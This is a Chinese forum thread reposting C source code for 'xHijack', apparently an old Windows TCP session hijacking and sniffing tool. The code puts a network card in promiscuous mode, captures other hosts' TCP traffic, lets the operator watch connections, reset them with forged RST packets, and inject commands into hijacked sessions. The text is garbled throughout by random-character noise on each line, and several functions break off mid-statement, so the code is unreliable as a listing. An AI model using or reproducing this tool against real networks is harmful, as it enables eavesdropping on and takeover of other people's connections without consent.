0 y$ u# d! o2 f8 t8 E* G) L  g_pCurrCtrlConn = NULL;
& d+ F, a" y) }4 }% X6 v" n( K  g_dwAction = ACTION_NONE; + T2 U# V. ?, X( T/ l6 I
} ; P8 ^1 \: J5 m! V$ V8 G
  e# ~& U7 M# ?8 c( h! |$ E
// , Z, B- N7 b4 J/ U' K( P3 C
//功能:处理Ctrl+C和Ctrl+Break事件 ) @- s6 q# C+ Y- x9 c" P0 W4 }
//
, L( i; L# z% q% P) jBOOL WINAPI CtrlEvent(DWORD dwCtrlType)
& A7 Z! l2 a8 u% X! J% ]{
, f, y% }- ]  K* D- H& h( n6 m$ t  switch(dwCtrlType) & ~! _3 D7 c$ N: M! R9 O
  { 9 A/ Y- ]: t5 X; R* x. U
    case CTRL_BREAK_EVENT: ) i1 F; K/ v+ R8 ?- ]
      //reset action all flag
% [. O; `; @/ h% i! e      ResetActionAllFlag();
( ~2 H1 A8 i) I$ d4 x, C      break;
& E+ Z+ ?* b: x# H3 {) T. z9 k4 V    case CTRL_C_EVENT:
9 S5 m" o0 a! T$ N! x      //terminate all thread / W* K# u) A& n% L
      TerminateThread(g_hThread[0], 0); 5 |0 d* y8 T; g- t. {1 K
      TerminateThread(g_hThread[1], 0); ! m( N. x4 }# N
      TerminateThread(g_hThread[2], 0);   y7 ?! Q" K; w9 p5 y
      TerminateThread(g_hThread[3], 0);
, d+ ]* k* S; i8 _# @      break;
0 M( `9 `9 S9 w2 R6 |7 \    default:
* d% M( O  O: |2 h7 s/ Q5 }      break;
* i7 \# x* T8 S* n0 }- V$ `( r  }
7 ]6 M/ m8 U. W" X  return TRUE;
4 ^2 \8 j' w$ @}
) `# G6 }: r% b
2 W7 z# P5 ~% b$ q  V; a' O// 5 Z; k# }7 Y0 |! F
//功能:处理用户输入   z$ \+ [1 w# l8 j* a1 |  G
//
; \) ?& M5 {' I% v0 y6 }! M: r. p1 N; HDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos) 4 g6 ]2 Z- C. y7 o! E
{ ' i" }- g. T( k5 j
  DWORD  i; + X& {+ _7 z5 `7 \" B
  char  szBuff[16]; % T+ S' u& g7 d9 H; H4 x
* Y2 W% m! A3 }2 x3 y* X2 ]
  *lpCommandPos = 0; : I% E4 p- |* g
  for(i=0; i<15, i代码比较乱 ; k0 W5 F5 W  d: ~5 ~
// ( c+ W7 {3 Z4 Y, N  b* b% `/ D- T
DWORD WINAPI InterfaceThread(LPVOID lp)
% y6 W0 H" C- C6 \3 s. D, e{
: {7 w) q5 a, _+ A* O% p$ V: T  char  szHelp[] =  "l\t\t<-- List all connections\n"
# R/ y1 [% s, n! L9 `            "r x\t\t<-- Reset the number x connection\n" 3 m' ?( x/ H  p+ O* T. ?: _
            "w x\t\t<-- Watch the number x connection\n"
- X9 t- w2 J& M            "h x command\t<-- Hijack the number x connection to execute command\n" - l) p+ T- n8 |7 V; @/ N
            "[Note]\n" 6 ?: @) A% z( \
            "Ctrl+Break to clear all action\n"
- y3 @, Q0 x- c/ |) c            "Ctrl+C to exit\n";
; K$ K, V: y. ?1 M4 d# _# y  char  szPrompt[] = "\nxHijack>";
( E* k& F# m: w/ F3 x4 I  char  szBuffer[128]; 3 C+ z0 a  e) ?/ v9 ~3 y
  DWORD  dwPos;
+ p4 }' E$ j4 `& B  PCONNINFO  pTmp;
, ]; x, |2 O7 U  ?& T  M
& R7 `4 d5 h6 ?% G; D% \  while(1)
1 n% o5 d& @/ p( M, Q+ b/ o. K+ i  { 6 K* g1 |( _! ]  m/ q9 ~2 F  F, A
    gets(szBuffer);//不考虑buffer overflow
* ?: A- O$ {- O; h1 |    switch(szBuffer[0]) & q" U+ t, L# R6 j
    {
3 [; Y/ c, o3 x, @! s. r+ G      case 'l':
0 n# E4 m/ G$ J4 q1 a+ U  X& B; y& L      case 'L':
0 `+ n8 ~! L8 z  o7 Z- }/ S( ?: d        ListAllConnection();
7 c9 a3 K/ K6 v% P5 n        break;
3 F* I2 f3 Z% O' Y8 P      case 'r': . o3 r/ Y; V) f! a& y
      case 'R': 3 i" R% `, c, s$ Y) ?
        if(strlen(szBuffer) >2)
$ V- u1 }) O% ^6 P        {
# m0 H. @6 ]' n          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
* ^2 G- m8 m9 ~          g_dwAction = ACTION_RESET;
8 n8 Z5 \  m4 z- j& ^; k3 o        }
1 f6 @: }/ u/ B/ y3 K9 N        else printf("%s", szHelp); % ?3 y0 X/ `, R/ T0 M, L& g$ m
        break; ! ~0 k9 W9 G# n# }$ L1 s# r
      case 'w': ) l8 ?! [* g' r" M. g; {
      case 'W':
) m8 B/ ~' ~" r' e+ P/ y        if(strlen(szBuffer) > 2)
* a" H/ ~! g# F$ l  m$ ~2 \        {
8 s/ x6 ]# Q9 g          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 4 P. O3 c+ l3 [/ u1 q* \
          g_dwAction = ACTION_WATCH; + n3 U* i/ h: u# K! `' t: C4 J* A
        } * F- T, V  K  Q1 g3 H
        else printf("%s", szHelp); ( B2 V9 r7 M/ {( Q. L& U0 P3 v! w
        break; * G; z5 l4 Z! T. l  z
      case 'h': 5 v$ Y6 O; ], G' k- a8 J4 ^
      case 'H'://h 1 xxx
2 G9 U& x# K6 @& ?+ K        if(strlen(szBuffer) > 5)
2 g6 s8 j( W- w$ x/ `* q        { . J; {3 @5 m/ j
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 1 G* s+ f2 U1 v7 q# E: D' a3 T* h
          //如果command第一个字符是'或"
8 @4 d7 B: o( W- K          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') ) 3 M, Q/ Y2 F1 ^; b- l
          { ' s( j( p& G5 H9 J- I, q4 }7 Y& e
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3); 4 g; O; t$ A, ]: |% b
            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或" . W) a7 F# i7 g' x7 p* F4 q
          } 8 ~9 L$ {. q% a' t# ~3 b( c
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
3 Y8 G9 E9 J( j8 W( w          strcat(g_szCommand, "\x0D\x0A");
& U- B1 f( C5 }- p          g_dwAction = ACTION_HIJACK;
6 W/ o( Q% o! S7 Q9 }4 H5 s2 S        }
) g2 C% H8 _/ P1 ^* @        else printf("%s", szHelp);
! m- b, t! ?" o8 d$ K5 ?        break; ; P# `; G. ]" L3 n% G% R
      default: ' c1 ^& g3 R7 c2 A! |( z2 X" R7 g
        printf("%s", szHelp);
& M1 C8 F' X/ v" T& R3 r        break;
2 V+ T$ N8 j  m4 ]; q, V/ e    }//end of switch * `# q) x4 t/ `: R  z) h- e
    //find the specify ident's struct point / Q  d# k3 y$ E: @+ i
    if( (g_dwCtrlConn) && (g_dwAction) )
' [/ m* l9 o  t% G# u3 B; K    {
" {3 ~9 N5 s- q2 J2 {& H3 }0 v  l      g_pCurrCtrlConn = NULL; ) j7 z: q/ V) l% C! ^4 V. U; T
      pTmp = g_pConnHead; ) P  _: f$ ?0 {- Z
      while(pTmp) 8 [6 y% y& A' v+ g
      {
' W  `+ t3 H* v2 Z& U" P        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) ) % S( A% j) d8 q; o* ^" Z+ }
        { 3 g) R, _1 X  T" V; V" z' j* }
          g_pCurrCtrlConn = pTmp; + l, T/ E: E9 G
          break; 1 J( I- a7 e7 m+ |5 x8 y! [
        } 7 {! t5 V6 q1 U# r- y7 i! l
        pTmp = pTmp->Next; ; ]$ e% a0 Y6 Q4 }$ y2 E
      } # i- @2 |6 o4 m: T4 e
      if(!g_pCurrCtrlConn)
* r$ z  l8 r* T& ]4 F, v/ d  |      { 9 r# k+ g$ B3 c9 s  L
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
( q1 H8 F4 d& @) q1 B        //reset action all flag
: i7 p& m2 S4 Q+ d) O        ResetActionAllFlag();      
: w- b, U  l$ W" Q7 J. W; n      } ) x5 ]. a/ \$ u4 m- c( s0 ]
    } 5 q7 @/ W+ _* d6 N* b
    if(!g_dwCtrlConn) ResetActionAllFlag(); # J1 w' q# F( }4 Y$ ^3 z
    //显示当前用户所期望的动作 * `- g* [; c9 S
    printf("\nCurrentAction:"); ! c2 A( J- f, b+ i  f& ^# I
    switch(g_dwAction)
1 B$ b1 j# l1 ?5 V  w    {
- ^: M+ u) r: x3 _4 \      case ACTION_WATCH: 7 [: Z8 @" D( Y* i
        printf("ACTION_WATCH"); ( e+ M. |1 v5 k5 q$ A
        break;
3 S& w  m* I/ `# F      case ACTION_RESET: / c/ l6 S9 w, J9 L
        printf("ACTION_RESET");
' R2 ~' H; ]5 t- [) H+ _/ T        break;
9 q" {( L1 ^# N" Y$ m; h; T4 h6 O      case ACTION_HIJACK: , c! u3 ?% g: _% _' t
        printf("ACTION_HIJACK"); 5 l( K7 \4 n. V1 K. A- b. S* S
        break; 3 V$ j$ h* ]3 n) U
      default:
) {& l/ D( w& L5 R& L0 `        printf("ACTION_NONE"); " S+ ]) T1 v  v
        break;
; d) l- ^' Z# _' B1 e- v    } + p$ y) |* \& O# M# a
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); ' K) V  e) t* w7 N$ w
  }//enf of while 4 d3 n7 a7 q. ?
  return 0; 9 {; h1 _! W6 p
}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// 5 ~2 G4 [* P, E3 p//功能:列出当前所有连接 - t6 u ^9 ?; x. p3 f9 B) T// % F( Z9 h) `) c% w( F T void ListAllConnection() 1 y2 m0 \4 l9 W- a, M2 }! ?4 `4 H0 r5 O { # B4 O* t) S' F PCONNINFO pTmp; 8 [# V4 @; T+ `, n) q# S: V SOCKADDR_IN saDest, saSource; , [6 u: x& |4 ^0 g8 f+ `9 k8 ^ pTmp = g_pConnHead; 6 c6 ]3 O1 c( Z+ L0 ~8 g2 c" o" | while(pTmp) ; z( S4 n. C/ @3 ~! q) a { 8 J% a# P2 U& ]1 h ? if(pTmp->bActive) : |( j \: h6 B1 l$ p { # o7 T2 R1 A6 X8 Q2 P; W7 I7 b saSource.sin_addr.s_addr = pTmp->dwServerIP; # M7 X% x3 k! d9 h: x; p+ q saDest.sin_addr.s_addr = pTmp->dwClientIP; 4 x7 F) X! Z8 ? printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), # {" ^8 {, _+ z3 J; y ntohs(pTmp->uServerPort)); " n2 e+ B8 B' a- p, j- P. q6 C printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 0 a+ V( Q* `' d5 X7 A } ! X& G9 n1 `7 l: j/ r" Y$ v% q pTmp = pTmp->Next; 5 A' S7 B2 N7 L9 A$ n2 |# ? } , D" j% J6 g' |+ ], x' S} ' \ ?, U4 e% w2 a7 K- i3 s 3 ~% |& i1 \; q# h; ]. e' l! j" _& @// $ a3 d( W) F6 w1 K+ { //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 $ R5 e2 v/ I8 _0 ]9 j( y$ v // - Q V/ G& X6 t8 a( @/ t LPADAPTER InitAdapter() & N Q8 }; T& `8 U! b3 P{ ' v1 \8 ]2 @' v% A; j' A LPADAPTER lpAdapter; $ }$ _; }1 R. I s/ y static char AdapterList[Max_Num_Adapter][1024]; ( q% S4 u* S. }" A) a4 P char szSelectAdapterName[512]; 7 \' N. ~2 T1 y WCHAR AdapterName[2048]; ; e$ t) Z+ p5 w2 @1 u- N# x6 M WCHAR *temp,*temp1; & b/ w2 K8 q- z ~- q# v ULONG AdapterLength = 1024; * j0 D0 H* h9 O6 O2 ^# k8 r int iAdapterNum = 0; : w: q1 \/ p% S0 W4 j8 ~ int iRetCode, i; . v& g! ~: o; O( i; ]' e int iAdapter = 0; * S a$ r; o7 e7 ~& v ULONG ulLen = 0; * s z& G- J7 a DWORD dwRet; b1 _6 D3 M; m7 j PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; 2 d. F% X- ~+ a' }, V' @ PIP_ADDR_STRING pIPAddr; ' h& V& P& o% _5 K& e8 E, ^! S" a . M3 A$ v) B4 d) \0 s* e //Get The list of Adapter 7 _9 U8 `8 r! S if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) 4 o6 n$ W2 Z; A8 D4 {4 @% d$ O# } { : O3 D" t% o$ x; d8 V8 V2 J printf("Unable to retrieve the list of the adapters!\n"); 0 N0 Y9 o( G* I return 0; 3 ^. p8 g2 c6 q; P5 O. x* S/ I5 X } ) H0 d: c) P# [) R! F temp = temp1 = AdapterName; 7 G( w5 d" r: r }& [ i = 0; ! M7 f: x8 l3 B% q+ v1 U5 j2 J while ((*temp != '\0')||(*(temp-1) != '\0')) 2 V/ t3 ] M6 c& q, F- o( d" N { ( y7 I2 q( Z; X# ~( Q& m1 }. q if (*temp == '\0') $ J; f! V- [- V, t6 M { 8 J1 W' r# I5 I memcpy(AdapterList,temp1,(temp-temp1)*2); $ ]- h0 U6 s! p7 n" _+ L3 T printf("%d - %S\n", i+1, AdapterList); + x' m5 [% | Q' Z, E& v temp1=temp+1; & r6 p5 F8 K0 K3 s& T- G i++; " h3 e- B# i3 Q, V } ! P2 @( a4 n3 o! b! ^ temp++; 4 u, h& l! ?( \" t } % T* h2 H, o) Y/ r6 p //choose adapter + \( t& \; ^* f" u. R5 l while((iAdapter <= 0) || (iAdapter > i)) / H+ }$ m7 x3 O2 c7 h5 \. Y: { { 2 e% F# P) o! _% \1 R: Y- p9 Q: z printf("\nPlease choose your Adapter:"); 9 x" Z# L5 p! R7 u scanf("%1d", &iAdapter); 9 p% ?, X& P$ R2 m" ]" p } 7 G0 {' u1 T3 }7 [ printf("\n"); * S, ]5 H% H1 y //---------------------------------------------// & x+ I+ F* e, y* _) z K" n //这里调用iphlpapi来取得本地ip_addr和mac_addr % F, H% g+ T; R- O1 [ sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); * ~8 a* b" Y R# J dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); # P- X6 k* W: ]1 d if(dwRet != ERROR_BUFFER_OVERFLOW) " F& [0 c; S1 i; ` { , `; j$ ~0 q; H2 ]; `# o printf("GetAdapterInfo error:%d\n", GetLastError()); ) P: [/ \9 s. N7 T0 s. n- m return 0; ) H4 Z Z4 r' S8 f" X } ' z% f' T ^. |3 b pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); * j8 W4 v) [: k3 F if(!pAdapterInfo) 9 p1 E t, _6 W6 j5 V* N { - o- F1 S5 ]5 j3 ] printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); 7 T ~, C# d$ v5 u return 0; ' Y- y l0 e. B y% @, Y& | } " N1 S& q" Y! D, c dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ( N( u9 G0 k, n if(dwRet != ERROR_SUCCESS) $ h |# U' V2 c" B% i { $ [* V( u/ Z: l) D5 h printf("GetAdapterInfo error:%d\n", GetLastError()); 8 v0 [, @6 s: ?6 i1 M& i, v return 0; # s8 }8 ]# b. |9 T: t; I! w } * S) _8 q0 _4 v# E3 H6 j pTmp = pAdapterInfo; 8 K" C* ?0 |1 x' ] while(pTmp) ; w- S0 v' i+ G' z9 t { 0 X7 N7 j; R8 r& m0 V" Y: _ //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) $ h- s1 w) v* q+ |; \2 m+ l7 A$ P1 P { - Y3 }0 d: n/ B4 i6 ?! I/ G' q //found it,get own adapter mac address % E( z0 I2 R9 l memcpy(g_szOwnMAC, pTmp->Address, 6); ' g5 v4 S& j2 G. p( ] //get ip address + z% E( ~# C6 m& A pIPAddr = &pTmp->IpAddressList; # x7 X) B% R: Q! O! L9 b+ ^6 K while(pIPAddr) , G6 Q: \( ?! c+ J { , x" i. c; C W( R+ X g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); $ c% T+ [0 Z+ z5 e- [4 B. K pIPAddr = pIPAddr->Next; ) {; S$ }( R; i/ j; A if(g_TotalIP >= Max_Num_IPAddr) break; $ k, J" `; S) w% W8 N } 6 [4 E$ t, Q; k; o* \# { break; $ \( x0 M. i' z# _/ ~ } 7 K6 K" G& \3 z2 ]2 b# ^ pTmp = pTmp->Next; ) Z0 c2 q2 B1 v2 K } 8 X. C2 O) g* O- G; p& r free(pAdapterInfo); * v" U- D5 o3 B# l( K/ \. ? //not found,return zero + r! f9 E: W4 u6 Y& Q) x: Z if( (!pTmp) || (!g_TotalIP) ) return 0; ( G' m# v% h( y9 _! k8 W& @+ f //---------------------------------------------// # C4 ?1 N9 s0 o* U9 a //open adapter 3 m U9 o' }1 k2 { lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); + K; h+ L' T0 e% @ if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) : u3 t3 ]+ G$ W+ ?* H5 y/ C5 Z { : k* h4 b# S7 D5 Z1 R iRetCode = GetLastError(); ' W% J& i8 f5 T' e printf("Unable to open the driver, Error Code : %lx\n", iRetCode); 7 }$ ~+ ]) | L0 r- L) A; K return 0; ) m3 _ B- D/ g: O3 r5 T1 ]* B/ I } * {$ w4 @7 s) [! Y // set the network adapter in promiscuous mod 9 i3 ?& ^4 S } if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) . a& _7 u A6 F8 u2 F" Z { % d5 b, D8 }# J! ~4 n& W printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 8 Y: C6 G5 ?0 `9 B8 C if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) 6 } ^/ w3 Z; F) o" G! a. P. ]4 w1 G' K { ! M* R; i& ~1 C7 g' o9 r printf("Unable to set ALL_LOCAL mode!\n"); 3 z0 M c f. b7 S1 v, g G/ O return 0; ! O; h d" G- T# R1 K } 9 U# z: V) o" \7 \/ E- H+ m } 5 i! R- p" [( s# n# y // set a 512K buffer in the driver 8 M7 N M; Y. q0 t; w, c; f9 r if(PacketSetBuff(lpAdapter, 512000) == FALSE) / R$ z& w3 O$ \# p& {. P { 9 ^9 @# Z- ] S8 Y$ \' S printf("Unable to set the kernel buffer!\n"); ! |# ^9 B# g6 L: u; |* I. o return 0; * R& o( L" l+ p. b4 z7 W } 5 E2 |; S6 B$ j M // set a 1 second read timeout 2 k# S {; X& e$ H# O. |5 M( Z8 q if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) * s3 w. w7 [( a9 A) R printf("Warning: unable to set the read tiemout!\n"); 9 ^% V! D/ {4 r4 t- E+ B if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 9 E% K, ~9 T4 z6 f# |- o8 s printf("warning: Unable to send more than one packet in a single write!\n"); # ?8 _: t& N- S! p& ~ //设置发送的packet ) m* c/ s" G0 [' ^4 _ g_lpSendPacket = PacketAllocatePacket(); / W, O) [' Z+ r3 M; ], P, \ if(g_lpSendPacket == NULL) ) e w7 d9 _& P9 f0 J6 j) u { 0 t0 R( Y; R- @9 j printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); j' ~1 Y1 {5 h$ J" J( W( M return 0; 0 a2 X+ w: J. w4 T* {) R' c } 8 m" W+ l# q/ Z2 G0 k ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); - V& p7 {& Z# L+ s' [ PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); t3 B! I8 u& @2 c; ?+ ]. d8 i return lpAdapter; 1 M' i" c2 i3 O} # n6 z5 c4 q/ ] D, s, Z I) m+ P' U1 z" o% k. H! u/ { //功能:帮助信息 $ ? g3 W+ t) P# @* L void usage() & ]# R% S$ H3 l" \ { : H$ z2 ]9 `& ^ printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" : h7 \5 K1 t* r$ s5 y& e "By eyas 2002/8/19\n" 6 i4 T2 w3 _5 s M; U "http://www.ey4s.org\n" 4 Y) u5 i9 ]$ l "Thanks to Refd0m and shotgun\n\n" # V3 x8 f9 G3 h9 w9 m3 W& `( K6 ^' @ "Usage: xHijack ServerSide ClientSide\n\n"); 2 H8 d: `+ _; t4 N5 K% ` } - e6 q! A6 l* k' w, p" x) j( M 5 M5 R% b0 ^. x/ B/ J1 o1 j // 7 x9 R8 a, I3 w$ P% r//功能:显示数据包的一些详细信息 2 ]. a/ Y9 p+ v$ M. o M// " r, X. {# M7 t( _4 n VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) & `- H1 g. x- v{ ; \; h' h( M2 Q0 L# E; R SOCKADDR_IN saDest, saSrc; - N! a% s1 E9 W* Y unsigned char FlagMask; , G, u8 ~2 l: d. H8 ^7 Q0 t int i; ! `6 z$ R+ E/ x5 B. Y4 j3 a4 K # d9 P/ m& g( E0 b# Y* Y9 j- U saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; 0 [8 n1 |0 ^1 w: `9 h saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; % u; J1 y! R* d- z printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); 6 n' u; Y- L' X$ f) f3 q5 S" P6 n printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), ; c& b( C- j4 F! x3 Y* f6 Q ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); 4 R6 Q1 T V* v# B, l# i //display TCP flag # Z. o- P( j7 w. I, q for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) 6 w6 n0 O2 ^2 O- c( }) ~9 x' D { 7 [% g3 c5 h' k0 P1 S if((pTCPPacket->tcphdr.th_flag) & FlagMask) 9 h0 E+ W/ h7 C, U8 @ printf("%c", g_szTcpFlag); ) T0 Y. S% R0 E) b7 v% A- j else printf("-"); 6 n( a; l% u1 @) { } ; [ X- v0 R4 b printf("\n"); : T/ `) Y1 l( n1 X9 D0 D- R# L. \ //如有需要,可显示更多详细的信息 4 I% d- a6 v% \" _2 @+ u if(bDetail) : I- I& o+ }7 K& m H printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); 1 u2 [0 ~- D5 q0 u0 @9 O} 6 S7 K! n2 ~, q% E7 T3 X4 g1 y! E // ! c( A! H: Q& ]( N& W//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 . X$ W7 @4 w4 O5 J% K8 C; o// $ \, z# v6 B5 Q, G/ ~2 a8 k DWORD WINAPI AnalysePacketsThread(LPVOID lp) ( N* b: X+ G9 n& m% o; g2 Z9 ]* B{ . I' H3 D. l( h5 J7 _" G ULONG ulBytesReceived; ! q2 u0 F v- m; F1 b1 D+ q USHORT usDataLen; 2 {- U( j& e' V6 c) S% {8 f //USHORT usIPHeadLen, usTCPHeadLen; # `( B. z* x- ? char *buf; + H! {, b# u- \ g9 d4 ^! g u_int off, i; / A% h- U; ?' ^, D2 K4 F" B* A( Y- @ PTCPPACKET pTCPPacket; 6 |( Z D# W2 d; W& K F struct bpf_hdr *hdr; 2 }9 p5 w* i1 w LPPACKET lpRecvPacket; 4 r- c( q, u( L+ x4 ?. M m8 f- q char szPacketBuf[256000], *pStr; ' h3 T5 r8 \7 C* x BOOL bDeleteNode, bAddNew; & Y4 B3 k6 B+ U+ M DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 + V/ e8 {% p# @) n& m# t' X BOOL bClientToServer;//数据包是否从客户端发送到服务器端 7 m) B/ M& C' _5 x7 v, a4 L% g& I% i q5 h8 V& \' M' @- E //设置接收的packet , K! W/ O ]1 i$ o9 v! ^8 v, M lpRecvPacket = PacketAllocatePacket(); 6 N6 B8 @6 q/ L( V9 i7 D if(lpRecvPacket == NULL) ) v1 L/ g- J0 C$ K. L* n1 ^, Q { / c# }, n6 x1 ` printf("Error:failed to allocate the LPPACKET structure for recv.\n"); - K v$ X! V1 o, E" |' @$ D/ U$ l return 0; 4 u) m3 _8 H5 y+ d3 u; N1 P } 6 x* o6 r- x4 e E1 s ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); 0 u9 O% P! {: i PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); # z5 m5 k+ r( ?4 l. f/ T while(1) " s L* ~0 ~2 ^5 ` { ! b' e. l, O/ {' i // capture the packets 4 w% }9 o0 r* Q6 `: c6 { if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) - B6 u# k" q* W" Z7 g { , p' f+ V& O" m; V1 e$ W9 \ printf("Error: PacketReceivePacket failed.\n"); ) d* j" U) Z# \2 u" {5 S* X6 A break; . d" O; {* J* e' Z } $ Z1 [( }9 ]# i- N/ K8 e6 S) y ulBytesReceived = lpRecvPacket->ulBytesReceived; ) _$ ]1 ~0 O: R6 J buf = lpRecvPacket->Buffer; 6 p6 l; {: }' @; U8 \& d# l off = 0; / J) @( f0 T/ b- U% P( \ I while(off < ulBytesReceived) . d7 N) I; b5 t2 I { ! p$ `% a- C/ m6 C& [4 x9 \ hdr = (struct bpf_hdr *)(buf + off); - {8 B7 [0 S4 a off += hdr->bh_hdrlen; / L6 g4 A+ g( J" \5 ?8 D+ f pTCPPacket = (PTCPPACKET)(buf + off); % N. w' i2 \, A2 [ off = Packet_WORDALIGN(off + hdr->bh_caplen); ; T( k" ?, C& P r3 X$ g) {9 n //不需要处理自己发出的包(转发或本机发送的) 6 l9 w' @# ^, T! ?' e0 G if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; / x2 [. y/ Z4 t' E# ?; M, q //检查是否IP包 6 @% D1 X0 F) z& N( n if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; : I3 g5 j/ v. O" [( i0 J( r e //检查是否TCP包 3 ?0 R! ^# g, J0 t% W if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; * j7 o+ z7 K# P& [4 z //也不处理DestIP是自己的包 ) C2 M& F, Q4 C8 I( y( ^* H for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE); . |3 \# R5 w0 L
            //reset action flag : @4 Y9 A" k2 \! ?& B
            ResetActionAllFlag();
: F3 u+ E: b( ?& N7 J          } 4 n1 Z3 m4 C% M: ]
          //start hijack 2 p% v( r3 R# W+ z
          else if(g_dwAction == ACTION_HIJACK) ' [6 O& A! o) A, p& M
          { % h# B; u$ D& _) x1 H
            //send rst packet to client " J$ _) H/ k" x" T; g- J
            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
3 x, G! r/ F* ~* e; n& z4 T+ e( s5 y            //send hijack packet to client
1 G+ \0 }" a3 r0 N+ c$ G$ l            SendHiJackPacket(pTCPPacket); " Z! E2 ]5 a0 q1 s. ~- O: n8 a: i6 O
            //reset action flag 8 p9 l3 {( M. B3 \# h) q
            ResetActionAllFlag(); 9 m/ R& y, U) R; ^. {
          } 7 e6 B. E& E4 Q- E7 f# B
        }
7 l) l1 r" A; B. |        //show the tcp data
& n4 I' E$ ~( f4 }5 R! Q        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
( m" r- e) @; Y) Z" }/ x0 b" ~        {
% g% U& q' ^( Z, x$ L; i% C/ Y- L5 C          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); 5 J& D# O5 S  Q& v
          //暂不考虑IP、TCP头不是20字节的情况 ( l7 M" L' z% W9 u4 k. A
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
' f& J5 V+ c4 A" @' H. t% S8 {1 `          pStr = (char *)pTCPPacket + 54; - R0 f8 r3 h! ]; c
          for(i=0; i        } * h: a" @: m0 S7 c8 v4 D* Y) m, K
      }
) H9 ]8 g$ S0 A4 j3 q/ ?$ u      //debug output 2 W7 d# Q4 a/ Q% p! ?
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
1 U- _- w$ @8 V6 {) y" p5 i% P    }//end of analyse packets while ) o; t8 `0 O" d& c
  }//end of recv packets while
. @) R0 {4 y7 ?* F) J$ W- n  PacketFreePacket(lpRecvPacket); ) ^2 U) e" B2 r7 Z7 d
  return 0;
! _& Z, I* d  [* J( K}
! c% P# ?1 d$ t+ R% l4 T/ v- L1 r! N1 Q; o  S7 E
8 Y. x% n( i; z& i. [. y
// & `8 v! v! H( k6 J) B% z. R+ `
//功能:操作记录所有连接信息的单向链表 2 O1 C9 O1 E* _1 X: w7 D9 M
// ; M* ]" r5 z! H* @/ c+ l
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
! {: _. g' z" h% t+ y9 _7 K            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
- j) ]- f9 F5 Z9 Y0 A$ _5 y# {. `" U' T{ : j; x0 R# m! o. G2 H5 r8 M
